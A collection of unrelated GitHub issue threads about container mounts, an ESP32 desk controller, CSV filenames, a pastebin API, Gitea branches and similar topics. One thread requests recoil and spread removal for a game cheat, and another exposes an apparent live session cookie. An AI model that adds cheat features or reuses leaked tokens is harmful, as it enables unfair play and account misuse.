With the mounts cleaned up as mentioned by @crosbymichael in https://github.com/containerd/containerd/pull/1141#issuecomment-313732807 I think this can indeed be dropped and I was planning to update https://github.com/containerd/containerd/pull/1141 along those lines shortly (just making a few final adjustments/doing a few final tests)

Updated with a version which removes the mount completely and also cleans up the rootfs mount. PTAL.

Is this now in good shape?


desk_height &  binary_sensor not being updated

In Home Assistant sensor.desk_height and binary_sensor.desk_moving never being updated after connection.
for moving I use cover.open_cover, cover.close_cover, cover.stop_cover and  cover.set_cover_position services
My config
esphome:
  name: linak_desk
  platform: ESP32
  board: nodemcu-32s

wifi:
  ssid: "***"
  password: "***"
  fast_connect: true

idasen_desk_controller:
    mac_address: "00:00:00:00:00:00:00"

cover:
  - platform: idasen_desk_controller
    name: "Desk"

sensor:
  - platform: idasen_desk_controller
    desk_height:
      # Height in cm
      name: "Desk Height"

binary_sensor:
  - platform: idasen_desk_controller
    name: "Desk Connection"
    type: CONNECTION
  - platform: idasen_desk_controller
    name: "Desk Moving"
    type: MOVING

captive_portal:

logger:

api:

ota:

there is logs
when use cover.open_cover
[13:57:31][D][cover:072]: 'Desk' - Setting
[13:57:31][D][cover:080]:   Position: 100%
[13:57:31][D][idasen_desk_controller:199]: Cover control - START - position 1.000000 - target 65 - current 18
[13:57:31][D][idasen_desk_controller:232]: Update Desk - Move from 18 to 65
[13:57:31][D][idasen_desk_controller:232]: Update Desk - Move from 18 to 65
[13:57:31][D][idasen_desk_controller:232]: Update Desk - Move from 18 to 65
[13:57:32][D][idasen_desk_controller:232]: Update Desk - Move from 18 to 65
[13:57:32][D][idasen_desk_controller:232]: Update Desk - Move from 18 to 65
[13:57:32][D][cover:072]: 'Desk' - Setting
[13:57:32][D][cover:076]:   Command: STOP
[13:57:32][D][idasen_desk_controller:212]: Cover control - STOP

when use cover.set_cover_position
[14:00:49][D][idasen_desk_controller:199]: Cover control - START - position 0.200000 - target 13 - current 19
[14:00:49][D][idasen_desk_controller:232]: Update Desk - Move from 19 to 13
[14:00:49][D][idasen_desk_controller:232]: Update Desk - Move from 19 to 13
[14:00:49][D][idasen_desk_controller:232]: Update Desk - Move from 18 to 13
[14:00:50][D][idasen_desk_controller:232]: Update Desk - Move from 18 to 13
[14:00:50][D][idasen_desk_controller:232]: Update Desk - Move from 18 to 13
[14:00:50][D][idasen_desk_controller:232]: Update Desk - Move from 18 to 13
[14:00:50][D][idasen_desk_controller:232]: Update Desk - Move from 18 to 13
[14:00:50][D][idasen_desk_controller:232]: Update Desk - Move from 17 to 13
[14:00:50][D][idasen_desk_controller:232]: Update Desk - Move from 17 to 13
[14:00:50][D][idasen_desk_controller:232]: Update Desk - Move from 16 to 13
[14:00:51][D][idasen_desk_controller:232]: Update Desk - Move from 15 to 13
[14:00:51][D][idasen_desk_controller:232]: Update Desk - Move from 15 to 13
[14:00:51][D][idasen_desk_controller:232]: Update Desk - Move from 14 to 13
[14:00:51][D][idasen_desk_controller:232]: Update Desk - Move from 14 to 13
[14:00:51][D][idasen_desk_controller:227]: Update Desk - target reached

Could you share you configuration logs, something like:
[15:47:40][C][idasen_desk_controller:106]: Idasen Desk Controller:
[15:47:40][C][idasen_desk_controller:107]:   Mac address: 00:00:00:00:00
[15:47:40][C][idasen_desk_controller:108]:   Desk height 'Desk Height'
[15:47:40][C][idasen_desk_controller:108]:     Unit of Measurement: 'cm'
[15:47:40][C][idasen_desk_controller:108]:     Accuracy Decimals: 0
[15:47:40][C][idasen_desk_controller:108]:     Icon: 'mdi:arrow-up-down'
[15:47:40][C][idasen_desk_controller:109]:   Desk moving 'Desk Moving'
[15:47:40][C][idasen_desk_controller:109]:     Device Class: 'moving'
[15:47:40][C][idasen_desk_controller:110]:   Desk connection Desk Connection'
[15:47:40][C][idasen_desk_controller:110]:     Device Class: 'connectivity'
[15:47:40][C][idasen_desk_controller:111]:   Desk 'Desk'

[10:43:13][C][idasen_desk_controller:106]: Idasen Desk Controller:
[10:43:13][C][idasen_desk_controller:107]:   Mac address: 00:00:00:00:00:00
[10:43:13][C][idasen_desk_controller:108]:   Desk height 'Desk Height'
[10:43:13][C][idasen_desk_controller:108]:     Unit of Measurement: 'cm'
[10:43:13][C][idasen_desk_controller:108]:     Accuracy Decimals: 0
[10:43:13][C][idasen_desk_controller:108]:     Icon: 'mdi:arrow-up-down'
[10:43:13][C][idasen_desk_controller:109]:   Desk moving 'Desk Moving'
[10:43:13][C][idasen_desk_controller:109]:     Device Class: 'moving'
[10:43:13][C][idasen_desk_controller:110]:   Desk connection 'Desk Connection'
[10:43:13][C][idasen_desk_controller:110]:     Device Class: 'connectivity'
[10:43:13][C][idasen_desk_controller:111]:   Desk 'Desk'

So the sensor.desk_height is always 0 even after a restart ?

A notification callback is supposed to be called when the desk is moving but it didn't seem to work in your case. When the desk is moving, is there a led flashing continuously on your ESP32 ?

sensor.desk_height have some value. I guest it sets right after connect. When desk is moving led on esp not flashing, it allays on.

I added debug log in deskHeightUpdateNotificationCallback func and looks like it never called

Add second parameter to registerForNotify fixed issue for me. Now notifications works (height and moving)
this->m_output_char_->registerForNotify(deskHeightUpdateNotificationCallback, true);

As I found, second parameter changes a value for descriptor
uint8_t val[] = {0x01, 0x00};
if(!notifications) val[0] = 0x02;
BLERemoteDescriptor* desc = getDescriptor(BLEUUID((uint16_t)0x2902));
desc->writeValue(val, 2);

Not sure is only issue for my case. As I understand for you @j5lien everything works without this parameter?!

I thought this argument was set to true by default but it can be forced to this value.

I hope #5 will prevent this issue


Node.JS Support, Typescript Support & Testing with Mocha

Please DM me on Discord before merging so I can explain some things
Changelog
I forked this yesterday so I left the API as what it was. If you want me to change it to the new one let me know, although this one felt eaisier to understand. 🤷♂ If you want me to modify it to the middle I'm happy to.

Moved the code to typescript
Added an example folder
Added testing with mocha
Added server-side (When installed with only production dependencies, it has 3 dependencies, with no sub-dependencies - so very light!)
Added a pre-commit hook (whenever you push commit there will be a 2-3 second delay as it builds the latest version of the js file for production

Scripts
Added bundling with webpack:

When using yarn build it'll put a minified file into dist/js-lanyard.js.
You can use yarn build:dev for a development file.
yarn serve hot reloads a production build.

Testing:

And yarn test uses mocha.

Let me know your thoughts on what to do with the API - once that's finalised I'll make it "Ready for Review"

Closing as per @xaronnn


Possible to fix No Recoil, No Spread ???

Possible to add functional No Recoil and No Spread in this hack?  It's the only thing missing in this Royal hack

Possible to add functional No Recoil and No Spread in this hack? It's the only thing missing in this Royal hack

what do u mean?like for hvh nospread?

probably either a old vulnerability with the spread cl command or some rng prediction

You can do it already with Engine Prediction and removing recoil to your "Aimbot" settings (in-game cheat, course).


Additional Customization Options

(If possible I'd love if you added these to the other Workshop noteskins too!)
I was looking at the customization options, and I was wondering if you could add some for me?
Lifts
Could you possibly make one that's got the Chroma center, but a red outline?
Mines
I'd personally like a mine that transitions from blue into white, like DDR shock arrows.
Tap Explosions
I have a few colors in mind, which can be seen in the image below (I'd call it something like DDR)

(image has a black background as the bright W1 was harder to see when the image was transparent)
(Swap the bright and dim W1s, I got them mixed up by mistake haha)
Thank you so much though for adding the Virtua Note colors to this repo! They look awesome😳

When you say "chrome center" do you mean the chrome or the spectrum variant center?

I mean the chrome variant center.

You mean something like this? (Outline to change color at will included.)

Ohhh, my bad, lol! That one I'm not sure if I could do because of all the gradients throughout their animations. I can select the areas pretty easily like I did the borders as they are all hard edges, but coloring them and keeping the color transitions is finicky because the layer modes like "Dodge" and "Lighten Only" will color the dark but won't color the lightest stuff well (Maybe some combination of two of the same colors on different layer modes will work to hit both traits?...). I also thought about moving the red Super Vibrant borders to them, but they use half the animation frames and thus wouldn't match. I might be able to figure out something later though.
So Hurg with the raw files would probably be the smoothest since the layers and stuff are all separate. But it's up to him to do so of course.

Oh wait wait wait! "Grain Merge" seems to yield a pretty good result! (Frames included for both this time as they are different.)

This is exactly what I meant! Thank you!

 Happy to help!

(If possible I'd love if you added these to the other Workshop noteskins too!)
I was looking at the customization options, and I was wondering if you could add some for me?
Lifts
Could you possibly make one that's got the Chroma center, but a red outline?
Mines
I'd personally like a mine that transitions from blue into white, like DDR shock arrows.
Tap Explosions
I have a few colors in mind, which can be seen in the image below (I'd call it something like DDR)  (image has a black background as the bright W1 was harder to see when the image was transparent) (Swap the bright and dim W1s, I got them mixed up by mistake haha)
Thank you so much though for adding the Virtua Note colors to this repo! They look awesome😳

I added "Redline" lift variants and "shock" mine color options

I have a few colors in mind, which can be seen in the image below (I'd call it something like DDR)  (image has a black background as the bright W1 was harder to see when the image was transparent) (Swap the bright and dim W1s, I got them mixed up by mistake haha)

I think this could work but would need to be changed a bit. Normally there is no explosion for miss, I think what you'd want is for W1-4 to be moved down one and the bright W1 be white fantastic. It would be similar to the DDR A judgefont I made. Would that work for you?

Oh yeah, that works. Maybe you could also add the one I suggested as "Virtua" or something? I think that'd be cool personaly

I left a comment on Enchantment #2 that I'll link here for reason of similar context. On the Bright14 side of things, I could probably take SM5JF and copy it with a different W1 to get the same effect. Easier on my end since I use the metrics to handle (most of) Bright14's explosions.

Oh yeah, that works. Maybe you could also add the one I suggested as "Virtua" or something? I think that'd be cool personally

For the purpose of the preview image, could you give me an example of a judgefont that uses that "Virtua" arrangement?

This doesn't exactly use it so one would probably have to be made to go with it, but this is a Virtua judgefont that I've made (using the default SM5 judgefont as a base)


Minor UX update and version bumps

Issue #: /bcgov/entity#6378
Description of changes:

Minor style update
Component and App version updates

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of the bcrs-entities-create-ui license (Apache 2.0).

At this rate we will go to "1" soon enough, so fix it or not, it probably doesn't matter.


File names aren't output correctly

Issue summary
In version 8.2, file names containing a comma could be output without issues. In version 9, the commas are replaced with a percent encoding.
System information

Information
Description

League\Csv version
9.0.1

PHP/HHVM version
7.1

OS Platform
Windows Server 2012 R2

Browser
Chrome 60

Standalone code, or other way to reproduce the problem
$csv = \League\Csv\Writer::createFromFileObject(new \SplTempFileObject());
$csv->insertOne(['Value']);
$csv->output('File name, with comma.csv');

Expected result
Downloaded file should be named File name, with comma.csv
Actual result
Downloaded file is named File name%2C with comma.csv in Chrome.
In Firefox, the downloaded file is named File%20name%2C%20with%20comma.csv
Only Internet Explorer downloads the file with the correct name.

It looks like this is the commit that broke it: https://github.com/thephpleague/csv/commit/87bc1aab2cced42710435dffaf4b1b9c4cffa053#diff-a88754023d30e0f85dd47cb54f5de942R319


design for sponsors

Please add space/styling for sponsor logos in three categories: bronze, silver, gold.
Expect a variety of sizes and aspect ratios....
Sorry.

@harryharrold any idea how many sponsors per category?

Sadly not...
10/6/4 in my dreams... 6/3/2 expected.
On Fri, Jun 2, 2023, 12:07 PM Rachel Harding @.***>
wrote:

@harryharrold https://github.com/harryharrold any idea how many
sponsors per category?
—
Reply to this email directly, view it on GitHub
https://github.com/neontribe/UK-Charity-Camp/issues/26#issuecomment-1573554665,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAG5STHLPFL4VRJ2YYKGXP3XJHCN3ANCNFSM6AAAAAAYXB3BQM
.
You are receiving this because you were mentioned.Message ID:
@.***>

@rosejbon @hannahouazzane the twitter section has been moved in these designs to accommodate the sponsorship block. Is this ok for you to wrangle?

@rachelpeharding Should be good, but wondering where you think the privacy policy link should be placed?

@hannahouazzane have added :)

@hannahouazzane you might want to read about grid layouts for the sponsors logos and how to make them responsive. Check this article out - https://every-layout.dev/layouts/grid/

Closed by https://github.com/neontribe/UK-Charity-Camp/pull/29


Add support for postfix and mixfix operators.

Postfix parsers are now implemented. Mixfix parsers in practice are already possible. The goal is to provide a DSL (in fold itself) for automatic mixfix parsers generation.
function (condition::Code Bool) ? (consequence::Code a) (alternative::Code a)
    ...
end


Numba patch https://github.com/numba/numba/pull/6469

Feature request

[x] Create a ticket in Numba repo to track this patch with dppy tag.
[x] Try to make the patch work taking Siu’s suggestion in the PR.

Logic to remove addrspace from Array and Buffer is added in this https://github.com/IntelPython/numba-dppy/pull/287. Once the patch is merged with Numba master this PR should be merged in Numba_dppy and this issue can be closed.

Merged!


Fix missing DBMaxTimeout template parameter

The parameter was incompletely removed when we intorduced secrets[1]. This also enables -e so that we can catch any command failures.
[1] d882ed426e3164bd7c0cdd68a78c1dbdd35c161d

@kajinamit good catch.


curl example doesn't work because /create path returns 404

Hi,
thanks for your great piece of software! I just faced a small bug. I wanted to write a small script to create pastas from stdin in the terminal and for that I wanted to use curl. More specifically, I wanted to follow this example from microbin's help page:

Simple text Pasta: curl -d "expiration=10min&content=This is a test pasta" -X POST https://microbin.myserver.com/create

However, it seems that the /create endpoint is not existing. I just get HTTP 404 as response. Am I doing something wrong or is this maybe a bug?
Cheers

Hi @maxiimilian, thanks for your Issue! You are right, the example in the documentation is outdated. A working example that I just tested would be:
curl -v -F expiration=10min -F content="This is a test!" https://microbin.myserver.com/upload/
The request for creating pastas are now multipart request to allow including files (e.g. photos, zips etc), and moved to the /upload/ endpoint (not sure why I did that).
Note to myself: @szabodanika update readme, wiki and help page

Thanks for your quick reply. I've created this little script which takes input from standard input, creates a pasta, and returns the full URL to standard out. This way I can share files very quickly between devices. However, my approach is pretty quick-and-dirty so it only accepts text input and fails when the file gets to 1000+ lines.

@szabodanika as someone who was just bit by this myself, I'd love to have sent you a PR that takes care of fixing the documentation issue, alas, I don't seem to be able to find the source of microbin.eu. Is there anything the community can do to help get the docs fixed? :)

For future reference, the source code for microbin.eu is also public:
https://github.com/szabodanika/microbin.eu

fixed in https://github.com/szabodanika/microbin.eu/commit/83138a776611eb4a702001c8eb50ec78d5cb5f06
For future reference, the source code for microbin.eu is also public: https://github.com/szabodanika/microbin.eu

Run into the same issue. Great work btw, I love microbin. The docs are still not uptodate. The links above do not work so I couldn't find a way to help update the docs. For me the resolution of the issue was not obvious and this issue is not easy to find.


initial commit of plot_convergence

To try and help debug/understand my SP solving woes, I wrote a quick script (plot_convergence) to visualize the convergence of the decision variables. This is another tool where I don't know if it belongs in gpkit or not, but I don't know someone else might find this useful too.
Example usage:
In [1]: %run tail.py

In [2]: import plot_convergence as pc

In [3]: pc.plot_convergence(m)

In case anyone is wondering, this was motivated by wanting to know what is going on when the solver exhausts the 52 solutions without converging. This example shows how the solution is oscillating.

The number in parentheses in the maximum value of the DV.
Also matplotlib legends are the absolute worst.

Obviously if this were to be incorporated into gpkit, I would make this a method of SP or something similar.

this is cool!

Super nifty, definitely tickle my controls brain. The first one looks kinda first-order exponential, while the second keeps kicking into a mode-switch (fesaibility solve) and then flying away...

this is plotting normalized logs of variables, I assume?

mmmm no, not logs. I just took the values from m.program.gps[j].result['variables'].

Some of the variables are ~ 1, and others are ~10^17 (according the the legend). How on earth are they not showing up super close to zero or one, if they're not logs?

I'm confused. They are aren't they?

oh! You normalize the variables individually against their maximum values, not as a group. Duh. Everything makes sense.

@bqpd, what do you think of this? Should it potentially get added to gpkit.interactive? If so, I'll do an initial review.

Yeah! I don't think it should be normalized by max value, though, because our initial guess is all ones...either a logy plot or normalize by max of solves after the first that weren't feasibility solves?

@pgkirsch, thoughts on @bqpd's question about what the normalization should be?
My initial thought is that I like the idea of a logy plot.

Yeah that sounds fine with me. I will change that and put in gpkit.interactive.

Ready for another review @whoburg

@pgkirsch, apologies for the delay. #497 is ready for your review. If you like it, merge it into this, and I'm then ready to merge this.


Error: "value" required in setHeader("Cookie", value)" while trying to set the cookie from the first API to the second API

I facing the issue while trying to set the cookie to the second API from the first API. How to solve this issue?
Error:
"value" required in setHeader("Cookie", value)
Thanks,
Karthick

I get from the sitehttps://coderwall.com/p/8if09q/settings-cookies-for-supertest.
Also, please tell how to set the cookies and persist cookie across the tests in supertest..

@ jonathansamines : Also I tried agent.saveCookie(), it throws error saveCookie and attach pokie is not function

@logakarthi The article you linked is right, however the error message you first got is also pretty descriptive, it is just saying the value you are providing to that cookie is missing. What is the cookie value?

@jonathansamines
This is my cookie value and I get the cookie and print the cookie from the first API request
'set-cookie':
[ 'auth-gamma=8075f6b34e6c674a0f921a213f7a8392bf77e3e8a74f44b492e34a18bd9050184004a9c6; Domain=.ck12.org; HttpOnly; Path=/; Secure' ],

I got this error cos the cookie being set was undefined. Make sure its not undefined.

The methods are:
_attachCookies: https://github.com/ladjs/superagent/blob/1c8338b2e0a3b8f604d08acc7f3cbe305be1e571/src/node/agent.js#L69
_saveCookies: https://github.com/ladjs/superagent/blob/1c8338b2e0a3b8f604d08acc7f3cbe305be1e571/src/node/agent.js#L55


Updated starting_balance default in Bifrost Readme

Changed 41 to 2.1 for the starting balance in the readme and also fixed a comment.

Looks like this is good to go. @sgehrman did you sign the Contributor License Agreement?

Closing for now, can re-open and merge once @sgehrman signs the Contributor License Agreement.


Porting Monash Creative Coding Course Examples to p5

Hello!
I an interested in your project and I want to help, so I want to port the following processing sketches from the Monash Creative Coding Course found int www.futurelearn.com to p5:
Week1:
w1_01
w1_02
w1_03
w1_04_2DGraphics
There are more sketeches from this course I'd like to port. I an looking forward to any suggestion, comment or advice.
Thank you.

hi juan, just doing a little cleanup and closing this issue. thanks for all your great examples! and feel free to keep posting them on the contributed demos link. :)


Implement Quicksort

Consider implementation of a quicksort. This would be especially useful once Typed Array Views and Buffers are supported.

not happening

You have your reasons for not wanting quicksort but I remembered a recursive quicksort function I made once, when I saw the one you linked to. Perhaps it can inspire for future use-cases.
var arr = [ 0.13837, 0.70843, 0.63302, 0.00802, 0.00141 ];
console.log(quicksort(arr));

function quicksort(a) {
  if(a.length === 0) return []
  const x = a[0],
        xs = a.slice(1)
  let smallerSorted = quicksort( xs.filter(n => n<=x) ),
      biggerSorted = quicksort( xs.filter(n => n>x) )
  return smallerSorted.concat([x]).concat(biggerSorted)
}

Could also be written as this:
function quicksort(a) {
  'use strict'
  if(a.length === 0) return []
  const x = a[0]
  const xs = a.slice(1)
  const smallerSorted = quicksort( xs.filter(n => n<=x) )
  const biggerSorted = quicksort( xs.filter(n => n>x) )
  return smallerSorted.concat([x]).concat(biggerSorted)
}

the syntax highlighter does not like compound const declarations :monkey_face:

And as es5 for completeness:
function quicksort(a) {
  if (a.length === 0) return [];
  var x = a[0],
      xs = a.slice(1);
  var smallerSorted = quicksort(xs.filter(function (n) {
    return n <= x;
  })),
      biggerSorted = quicksort(xs.filter(function (n) {
    return n > x;
  }));
  return smallerSorted.concat([x]).concat(biggerSorted);
};

I'm learning haskell and kinda understand it better when I rewrite the functions in js. https://github.com/dotnetCarpenter/haskell1/tree/master/ch06

@dotnetCarpenter What I meant was that I don't have the time to implement it. If you'd like to submit a PR I'll be happy to review and land it.

This would be especially useful once Typed Array Views and Buffers are supported.

What does that mean? Do you have use case?

not sure. that comment has been lost to history.

@trevnorris I forgot about this one. Do you mind opening it and assign me if you can? Not sure that works when I'm not a Collaborator but I would like to create a PR when I have time and don't forget about this. I think the recursive function would need to be with proper tail call.. So need a little rewrite.
Unfortunately, I don't have time at the moment. But it's a fun little task.

@dotnetCarpenter Sent you an invite to be a collaborator. When you accept it you should be able to assign it to yourself.


Adjust maven surefire plugin to avoid OOME in Jenkins

@trevormarshall
@sobychacko
@spencergibb
Let's see what this does.

Going to merge this one to see what it does in CI.


Merge pull request #1 from docker/docs

Docs

Please sign your commits following these rules:
https://github.com/docker/docker/blob/master/CONTRIBUTING.md#sign-your-work
The easiest way to do this is to amend the last commit:
$ git clone -b "docs" git@github.com:zelahi/docker.git somewhere
$ cd somewhere
$ git commit --amend -s --no-edit
$ git push -f

Ammending updates the existing PR. You DO NOT need to open a new one.


There is no option to change the navigation arrow icons

Subject of the issue
There is no option to change the navigation arrow icons. I would like to use my own left and right arrow icons. How do I do that?
[BUG] Bug Reproduce Steps
Tell us how to reproduce this issue.
[BUG] Expected behaviour
Environment
Package Version:
React version:
Node version:
Browser:

Hi @Praneetha-CK
You can use navigatorRenderer in order to change arrows.


How to store key:subkey in kubernetes

I have a configuration settings as below
"DbConnection": {
    "connectionstring": "server=localHost;user=abc;password=pwd123"
  }

I'm using the Steeltoe Kubernetes to read the secrets as I like that approach of reading secrets very much. My current code in startup.cs is
services.Configure<DbOptions>(Configuration.GetSection("DbConnection")
How ever I'm unable to set the secrets in Kubernetes as
DbConnection:connectionstring : server=localHost;user=abc;password=pwd123
I tried setting
DbConnection__connectionstring : server=localHost;user=abc;password=pwd123
then the IConfiguration is coming as DbConnection__connectionstring. So please let me know how to set the same

Thanks for raising this issue, it was an oversight in the initial implementation, but should be addressed by #584 and is expected to ship with 3.1.0. It can be tested with a recent build from the dev feed

What is the expected time line for 3.1.0? My organization does not allow us to use dev feed. It is blocked. So If I take the master branch and the source code as reference will this issue be resolved

We're expecting to have a release candidate within the next couple weeks. Building from main would also work

Addressed in #584.  Closing


Add prototype for calling Vertex AI API

DO NOT MERGE
This is a prototype that uses the Vertex AI backend instead of Labs for testing purposes.

Closing in favor of https://github.com/firebase/firebase-ios-sdk/pull/12357.


I cannot install this package

I get the following error when running atom after installing the highlight selected package.
[Enter steps to reproduce below:]

...
...

Atom Version: 1.0.0
System: Microsoft Windows 7 Enterprise
Thrown From: highlight-selected package, v0.10.1
Stack Trace
Failed to load the highlight-selected package
At Cannot find module 'underscore-plus'

Error: Cannot find module 'underscore-plus'
    at Module._resolveFilename (module.js:328:15)
    at Function.Module._resolveFilename (C:\Users\bassj4\AppData\Local\atom\app-1.0.0\resources\app.asar\src\module-cache.js:383:52)
    at Function.Module._load (module.js:270:25)
    at Module.require (module.js:357:17)
    at require (module.js:376:17)
    at Object.<anonymous> (/C:/Users/bassj4/.atom/packages/highlight-selected/lib/highlighted-area-view.coffee:7:7)
    at Object.<anonymous> (/C:/Users/bassj4/.atom/packages/highlight-selected/lib/highlighted-area-view.coffee:205:4)
    at Module._compile (module.js:452:26)
    at Object.requireCoffeeScript (C:\Users\bassj4\AppData\Local\atom\app-1.0.0\resources\app.asar\node_modules\coffee-cash\lib\coffee-cash.js:85:19)
    at Module.load (module.js:347:32)

Commands

Config
{
  "core": {
    "themes": [
      "one-dark-ui",
      "monokai"
    ]
  }
}

Installed Packages
# User
highlight-selected, v0.10.1
monokai, v0.14.0

# Dev
No dev packages

instead of trying to install manually I was able to install through the atom settings and it now works ok


MicroProfile Rest Client 4.0 Specification Review

Specification issue template
When creating a specification project release review, create an issue in the MicroProfile-WG repository repo with the content defined as follows.

[x] Specification name and version
[x] Add the label Release Review
[x] Naming conventions for artifacts:

[x] Specification PDF in the form of microprofile-project-spec-version.pdf
[x] Specification HTML in the form of microprofile-project-spec-version.html
project is the microprofile specification short project name (config, health, ...)
version is the two digit x.y version of the specification

[x] The Nexus Staging links (orgeclipsemicroprofile-NNNN where NNNN is the staging repository id) (eg, https://oss.sonatype.org/content/repositories/orgeclipsemicroprofile-NNNN/org/eclipse/microprofile/config/) which contain all the binaries and relevant documentation:

[x] Staging Repo
[x] Spec PDF
[x] Spec HTML
[x] Javadoc
[x] API Jar
[x] TCK Jar

[x] A link in the Eclipse downloads sections is still available for specs and apidocs:

[x] https://download.eclipse.org/microprofile/staging/microprofile-rest-client-4.0/
[x] An apidocs directory containing the javadoc associated with the API jar.

[x] Summary that a Compatible Implementation is complete, passes the TCK, and that the TCK includes sufficient coverage of the specification.

[x] Compatible Certification Request

[ ] Release Review

[x] Follow governance process and create/update release record

[Component Release Record](add link to the release record)

[x] Email to PMC (more info here)
[x] Start release review by emailing EMO (more info here)(Track the [bug issue](add link) created by EMO after the email)
[ ] A member of Steering Committee initiates the ballot by sending an email to [microprofile-wg]<EMAIL_ADDRESS>(more info here
[ ] After the voting has ended, email [microprofile-wg]<EMAIL_ADDRESS>with the ballot result (more info here

Hello all,
the EMO is trying to avoid duplication of release records, so we will be providing our feedback and comments related to this release directly here.
EMO REVIEW CHECKLIST
EDP Review status: ONGOING - Awaiting PMC approval and Spec Committee Ballot @Emily-Jiang
EMO review checklist
PMI record: URL
EF Specification Process

[ ] Spec Committee Ballot completed

Intellectual Property Management

[ ] All project code has copyright and license headers correctly applied. ** EMO will scan the code at their discretion **
[ ]  All distributed third-party content has been vetted by the IP Due Diligence process (i.e., IP Log has been approved)

Open Source Rules of Engagement

[ ] PMC approval on the mailing list

General:

[ ] Project is operating within the mission and scope defined in its top-level project’s charter
[ ]  Project is operating within the bounds of its own scope
[ ]  Project is operating in an open and transparent manner
[ ]  Overall the project is operating according to the Eclipse Development Process.

Things to check:

Communication channels advertised
Advertised communication channels used
Committers are responding to questions
Committers are responding to issues
Committers are responding to pull/merge/review requests

Branding and Trademarks
The following applies when the project has a custom website.
To the best of our knowledge:

[ ]  Project content correctly uses Eclipse Foundation trademarks
[ ] Project content (code and documentation) does not violate trademarks owned by other organizations

Things to check:

[ ]  Project website uses the project's formal name in first and all prominent references
[ ]   Project website includes a trademark attribution statement
[ ] Project website footers contain all necessary elements

Legal Documentation
Required files:

[ ] License files in all repository roots
[ ]  README
[ ]  CONTRIBUTING (or equivalent)

Recommended files:

[ ] NOTICES or equivalent (you can use the Legal Documentation generator available under committer tools)
[ ]  CODE_OF_CONDUCT
[ ]  SECURITY

See examples for Security file and Code of Conduct.
Required elements:

[ ]  ECA is referenced/described

Recommended elements:

[ ]  Build instructions provided
[ ] Security policy is described

Metadata (PMI)

[ ] The formal name, e.g. "Eclipse Foo™", is used in the project title
[ ] The formal name including appropriate marks (e.g, "™") is used in the first mention in the text of the project description, and scope
[ ] The project description starts with a single paragraph that can serve as an executive summary
[ ] Source code repository references are up-to-date
[ ] Download links and information are up-to-date (see EF handbook for more information on how-to do this)
[ ] Communication channels listed in the PMI (i.e. public mailing list, forums, etc.)

Following the identification of an incorrect license, this project has been rebuilt and the Nexus staging links have all been updated.   In addition the RestEasy CCR has be re-run and all links updated.

This ballot was concluded successfully (info here) @mtdelgadoa


Add drop database to chaindb.

note: currently only system db dropped, tests needs to drop contracts dbs too

PR #89
All databases created by chaindb has prefix CYBERWAY.

system database: CYBERWAY
contract database: CYBERWAY<contract_name>


Initial proposed SOW for Vuurr / Jonathan Kressaty (Marketing Contractor)

Migrated from GitLab: https://gitlab.com/meltano/meltano/-/issues/967
Originally created by @dmor on 2019-09-10 16:10:57

[ ]  Create landing pages for each tap and target
[ ]  Create paid advertising campaigns for each tap and target page
[ ]  Strategy to get better distribution on weekly releases, YouTube channel, etc.

View 2 previous comments from the original issue on GitLab


Deleting a branch breaks all PRs with this branch as target

Description
Currently, when you delete a branch, all PRs still targeting this branch will be closed forever, breaking them completely if you intend to merge them into another branch, i.e. the target branch of a PR that deleted the branch.
The result of this bug is that even if you attempt to reopen such a PR, you simply won't be able to:
The PR cannot be reopened because the branch does not exist, and the branch can't be changed because the PR is closed.
Reproduction Steps

Create the first branch with some changes
Create the second branch with more changes from the first branch
Open PRs in both branches, with the first branch targeting anything, and the second branch targeting the first branch
Merge the PR of the first branch, making sure to delete the first branch with it
Enjoy the second PR being broken

Reproduction PR: https://try.gitea.io/delvh/kanban-test/pulls/23
Possible Solutions

Allow changing the target branches for closed (but not merged?) PRs (most likely solution)
Allow (re)opening PRs whose target branch is missing (unlikely, leads to too many errors)
Automatically change the target of such PRs to the target of the closing branch (unlikely, works only in the reproduction setup, and is somewhat counter-intuitive for a user)

Gitea Version
1.16.4 to 1.17.0+dev-327-gf7883a6ae
Can you reproduce the bug on the Gitea demo site?
Yes
Log Gist
No response
Screenshots

(The red box in this case comes from trying to edit the target branch to reopen the PR)
Git Version
No response
Operating System
No response
How are you running Gitea?
try.gitea.io
Database
No response

This is an enhancement rather than a bug imo.

I'd absolutely say that this is a bug since no one expects that it will be forever impossible to reopen a PR.

What's the behaviors of Github or GitLab?

What's the behaviors of Github or GitLab?

I just have tested. Github also will not support change a closed PR's target branch. So I think this should not be a bug but a proposal.

Another solution is to not allow merging a PR for a branch which is the target branch for other PRs. For me that would be the most correct option since it seems weird that you can merge PR that others depend on.
If it would work like this then people would first need to change the target branch for other PRs before they can merge the PR which was the target for them. That way PRs aren't closed automatically anymore, and it's clear what is happening for everyone.

What's the behaviors of Github or GitLab?

I just have tested. Github also will not support change a closed PR's target branch. So I think this should not be a bug but a proposal.

Gitea is autoclosing PRs if target branch is deleted (original PR is merged). This auto operation has to be avoided.

Yes, maybe we need a confirmation dialogue and list all pull requests which target branch is it.

To allow stacked PRs, if the target branch A is deleted due to being merged into another branch B, then the stacked PR should get automatically retargeted to B.
GitHub has been doing this since 2020. Stacking PRs is a pretty common use case, and it would resolve many instances of running into this problem. I'm guessing the vast majority of cases.

Is this resolved by #28686?

We close issues that need feedback from the author if there were no new comments for a month. :tea:


Updates

Coverage remained the same at 95.433% when pulling 6cdc2f5368026e1ca82318ee49b7af0e10b029dd on updates into f2830d8c97aba2f120addb22092b347661090c57 on master.


ArXiv link in README.md is not correct

The ArXiv link in README.md is https://arxiv.org/abs/2307.14535, which presents "Scaling Up and Distilling Down: Language-Guided Robot Skill Acquisition".

Also the Video link, https://www.cs.columbia.edu/~huy/scalingup/static/videos/scalingup.mp4

Thanks for pointing it out! I've fixed it along with another link in the README.md.


Use UITextBox instead of UILabel

This makes it so that the text box has text wrapping and support for basic html styling.

This is for speaknspell, btw


Allow filtering which repos are acted upon

As an org admin, I want to only update a subset of my repos, so that I don't accidentally modify.
Acceptance criteria:

user can filter which repos are acted upon with one or more -f|--filter options
filter takes a regex string as its match criteria
only repos whose name matches the regex are shown/modified

Implemented in 2.1.0


Error running Uni-pKa

Hi! I was trying to do pKa prediction and found this very good work, and I was very interested to try it out. When I tried python main.py enum -i ../test.csv -o test.out -m B,  I had the following error:
Reconstructing ../test.csv with the template smarts_pattern.tsv from B microstates
